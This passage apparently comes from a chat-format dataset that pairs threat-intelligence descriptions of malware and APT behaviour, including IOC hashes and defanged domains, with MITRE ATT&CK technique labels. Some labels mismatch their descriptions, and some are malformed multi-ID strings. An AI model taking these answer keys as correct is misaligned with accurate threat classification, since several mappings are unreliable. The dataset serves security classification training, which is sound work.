                "content": "During FunnyDream, the threat actors used `cmd.exe` to execute the wmiexec.vbs script."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang has used a tool known as RemoteExec (similar to PsExec) to remotely execute batch scripts and binaries."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Monday, February 12, 2018 . Olympic Destroyer Takes Aim At Winter Olympics . This blog post is authored by Warren Mercer and Paul Rascagneres. The Guardian, a UK Newspaper reported an article that suggested the Olympic computer systems suffered technical issues during the opening ceremony. The destructive nature of this malware aims to render the machine unusable by deleting shadow copies, event logs and trying to use PsExec &amp; WMI to further move through the environment. Olympic Destroyer Workflow . Initial stage . The initial edb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9 sample is a binary that, when executed, drops multiple files on to the victim host. Dropped Files . Browser Credential Stealer . Olympic Destroyer drops a browser credential stealer. SQLite is embedded in the sample: . System Credential Stealer . In additional to the browsers credential stealer, Olympic Destroyer drops and executes a system stealer. The stealer attempts to obtain credentials from LSASS with a technique similar to that used by Mimikatz. Additionally, the destroyer disables all the services on the system: The malware uses the ChangeServiceConfigW API to change the start type to 4 which means: \"Disabled: Specifies that the service should not be started. Legitimate File . Additionally, the Olympic Destroyer drops the legitimate, digitally signed, PsExec file in order to perform lateral movement by using this legitimate tool from Microsoft. Disruption is the clear objective in this type of attack and it leaves us confident in thinking that the actors behind this were after embarrassment of the Olympic committee during the opening ceremony"
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ahnlab, a South Korean software company, simultaneously published a paper regarding Bisonal's activity in South Korea. In this case, the infection vector has changed from previous samples. The initial stage is a binary that drops a decoy document (Powerpoint or Excel document), a VisualBasic script and the packed Bisonal payload. The payload is dropped with a .jpg extension that's been renamed to \".exe. The payload has been packed with a new packer. The code of Bisonal is similar to the version of 2019"
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has used public sites such as github.com and sendspace.com to upload files and then download them to victim computers. The group's JavaScript backdoor is also capable of downloading files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lizar has a command to open the command-line on the infected system."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FatDuke has been regularly repacked by its operators to create large binaries and evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The toolset used by the Magic Hound campaign was an assortment of custom tools, as well as open sourced tools available to the general public"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "They then identify the Exchange server and attempt to install the OwaAuth web shell"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAWKBALL is a backdoor that communicates to a single hard-coded C2 server using HTTP"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has performed screen captures of victims, including by using a tool, scr.exe (which matched the hash of ScreenUtil)."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emissary has the capability to execute the command \"ipconfig /all\"."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These macro injection modules also have the functionality to tamper with the Microsoft Office macro security settings"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used large file sizes to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT has used AutoIt to compile the payload and main script into a single executable after delivery."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Forfiles can be used to subvert controls and possibly conceal command execution by not directly invoking cmd."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used strategic web compromises, particularly of South Korean websites, to distribute malware. The group has also used torrent file-sharing sites to more indiscriminately disseminate malware to victims. As part of their compromises, the group has used a Javascript based profiler called RICECURRY to profile a victim's web browser and deliver malicious code accordingly."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "YAHOYAH checks for the system’s Windows OS version and hostname."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "S-Type has run the command `net user` on a victim."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BS2005 uses Base64 encoding for communication in the message body of an HTTP request."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak can gather information regarding the user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string. BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. That malicious dll then loads encrypted shellcode from the binary, which is decrypted and runs the final BUGJUICE payload. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests. Messages are encrypted using AES with a static key. Persistence is maintained through a Run registry key. The versions used by APT10 (1.3.4.0, 2.0.0.0, and 2.0.0.1) are not available via the public GitHub page, indicating that APT10 has further customized the open source version. The 2.0 versions require a dropper to decipher and launch the AES encrypted QUASARRAT payload. QUASARRAT is a fully functional .NET backdoor that has been used by multiple cyber espionage groups in the past"
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SombRAT can communicate over DNS with the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Warzone RAT can steal credentials from the Outlook and Thunderbird email clients as shown in the image below (figure 10"
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak encrypts strings to make analysis more difficult."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Encoding the encryption key  In order for the C&C server to decrypt the encrypted data, the randomly generated AES256 key must be included in the packet along with the encrypted data"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel', 'T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JPIN can enumerate Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SeaDuke uses a module to execute Mimikatz with PowerShell to perform Pass the Ticket."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "They apparently create a Domain Admin account  named SQLSVC and give it the password Br4pbr4p (which also happens to be the password salt preconfigured in the dirtycow exploit script) and then leverage that account to perform a series of commands."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT33 has attempted to exploit a known vulnerability in WinRAR (CVE-2018-20250), and attempted to gain remote code execution via a security bypass vulnerability (CVE-2017-11774)."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors collected data, files, and other information from compromised networks."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can hash functions to obfuscate calls to the Windows API and use a public/private key pair to encrypt Beacon session metadata."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed can stage files in a central location prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy uses a keylogger to capture keystrokes it then sends back to the server after it is stopped."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CrackMapExec can brute force credential authentication by using a supplied list of usernames and a single password."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can obtain a list of smart card readers attached to the victim."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "performs a reflective DLL injection using a given pid."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dyre has been delivered with encrypted resources and must be unpacked for execution."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dtrack can collect the host's IP addresses using the \"ipconfig\" command."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pteranodon copies itself to the Startup folder to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FatDuke can decrypt AES encrypted C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AutoFocus customers may learn more from the DarkHydrus tag  IOC Related SHA256 Hashes Payloads cec36e8ed65ac6f250c05b4a17c09f58bb80c19b73169aaf40fa15c8d3a9a6a1 ac7f9c536153780ccbec949f23b86f3d16e3105a5f14bb667df752aa815b0dc4 a547a02eb4fcb8f446da9b50838503de0d46f9bb2fd197c9ff63021243ea6d88 d428d79f58425d831c2ee0a73f04749715e8c4dd30ccd81d92fe17485e6dfcda dd2625388bb2d2b02b6c10d4ee78f68a918b25ddd712a0862bcf92fa64284ffa b2571e3b4afbce56da8faa726b726eb465f2e5e5ed74cf3b172b5dd80460ad81 c8b3d4b6acce6b6655e17255ef7a214651b7fc4e43f9964df24556343393a1a3 ce84b3c7986e6a48ca3171e703e7083e769e9ced1bbdd7edf8f3eab7ce20fd00 99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c Delivery documents d393349a4ad00902e3d415b622cf27987a0170a786ca3a1f991a521bff645318 8063c3f134f4413b793dfc05f035b6480aa1636996e8ac4b94646292a5f87fde 9eac37a5c675cd1750cd50b01fc05085ce0092a19ba97026292a60b11b45bf49 cf9b2b40ac621aaf3241ff570bd7a238f6402102c29e4fbba3c5ce0cb8bc25f9 0a3d5b2a8ed60e0d96d5f0d9d6e00cd6ab882863afbb951f10c395a3d991fbc1 0b1d5e17443f0896c959d22fa15dadcae5ab083a35b3ff6cb48c7f967649ec82 870c8b29be2b596cc2e33045ec48c80251e668abd736cef9c5449df16cf2d3b8 ff0b59f23630f4a854448b82f1f0cd66bc4b1124a3f49f0aecaca28309673cb0 01fd7992aa71f4dca3a3766c438fbabe9aea78ca5812ab75b5371b48bd2625e2 6dcb3492a45a08127f9816a1b9e195de2bb7e0731c4e7168392d0e8068adae7a 47b8ad55b66cdcd78d972d6df5338b2e32c91af0a666531baf1621d2786e7870 776c056096f0e73898723c0807269bc299ae3bbd8e9542f0a1cbba0fd3470cb4 cf7863e023475d695c6f72c471d314b8b1781c6e9087ff4d70118b30205da5f0 e88045931b9d99511ce71cc94f2e3d1159581e5eb26d4e05146749e1620dc678 26e641a9149ff86759c317b57229f59ac48c5968846813cafb3c4e87c774e245 b5cfaac25d87a6e8ebabc918facce491788863f120371c9d00009d78b6a8c350 ad3fd1571277c7ce93dfbd58cee3b3bec84eeaf6bb29a279ecb6a656028f771c Related Domains maccaffe[.]com cisc0[.]net 0utl00k[.]net msdncss[.]com 0ffice[.]com 0ffiice[.]com micrrosoft[.]net anyconnect[.]stream bigip[.]stream  fortiweb[.]download  kaspersky[.]science  microtik[.]stream  owa365[.]bid  symanteclive[.]download  windowsdefender[.]win allexa[.]net kaspersky[.]host hotmai1[.]com 0utlook[.]bid"
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Meteor execution begins from a scheduled task named `Microsoft\\Windows\\Power Efficiency Diagnostics\\AnalyzeAll` and it creates a separate scheduled task called `mstask` to run the wiper only once at 23:55:00."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Escalate Privileges APT40 uses a mix of custom and publicly available credential harvesting tools to escalate privileges and dump password hashes"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping', 'T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Recent versions of Cherry Picker delete files and registry keys created by the malware."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Amadey has searched for folders associated with antivirus software."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can use built-in modules to abuse trusted utilities like MSBuild.exe."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution', 'T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Confucius has used mshta.exe to execute malicious VBScript."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda will delete their tools and files, and kill processes after their objectives are reached."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Keylogger: The keylogger is configured using the command line parameters: NetworkService, Replace, Install, Register and Unregister. It also gathers network information such as the MAC address, IP address, WINS, DHCP server, and gateway"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 attempted to remove evidence of some of its activity by clearing Windows security and system events."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal has used commands and API calls to gather system information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This single hack of Volusion allows them to receive credit card data from 3,126 online shops. From the previous skimming attack on the British Airways and Newegg websites, we know that Group 6 tried to register the domains of the exfiltration server to be similar to the victims’ domains. In this case, the domain of the exfiltration server is “volusion-cdn[.]com” — very similar to the valid domain “cdn3[.]volusion[.]com” from Volusion. Both old and current skimmers are written with jQuery, serialize the stolen data, and use the jQuery.ajax function to POST data to a remote server. Although the older skimmer is much simpler compared to the current one, it didn’t encode the stolen data or store the data in sessionStorage before the exfiltration"
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Melcoz has been spread through malicious links embedded in e-mails."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All three companies indicated that the actors wiped some systems by executing the KillDisk malware at the conclusion of the cyber-attack. The KillDisk malware erases selected files on target systems and corrupts the master boot record, rendering systems inoperable. It was further reported that in at least one instance, Windows-based human-machine interfaces (HMIs) embedded in remote terminal units were also overwritten with KillDisk. The actors also rendered Serial-to-Ethernet devices at substations inoperable by corrupting their firmware. The team assesses that these actions were done in an attempt to interfere with expected restoration efforts"
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may collect information about running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JPIN can send email over SMTP."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuasarRAT can hide process windows and make web requests invisible to the compromised user. Requests marked as invisible have been sent with user-agent string `Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A` though QuasarRAT can only be run on Windows systems."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The employee receiving this email downloaded and opened the document, which contained malicious code. Once the code was executed, a persistence mechanism was installed and a malicious password harvester was executed. In this instance, once the malicious code was executed, it dropped a malicious binary (DLL) similar to CobaltStrike, which subsequently created and executed additional files. The actor used the initially compromised system to escalate privileges and move laterally across additional systems on the network"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Squirrelwaffle has been distributed through phishing emails containing a malicious URL."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BackdoorDiplomacy has obfuscated tools and malware it uses with VMProtect."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to create  to upload files from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The plugin begins by collecting the username of the running process, and determining if it is running under the SYSTEM account. If running as SYSTEM, the plugin will associate the active desktop with the plugin’s thread"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
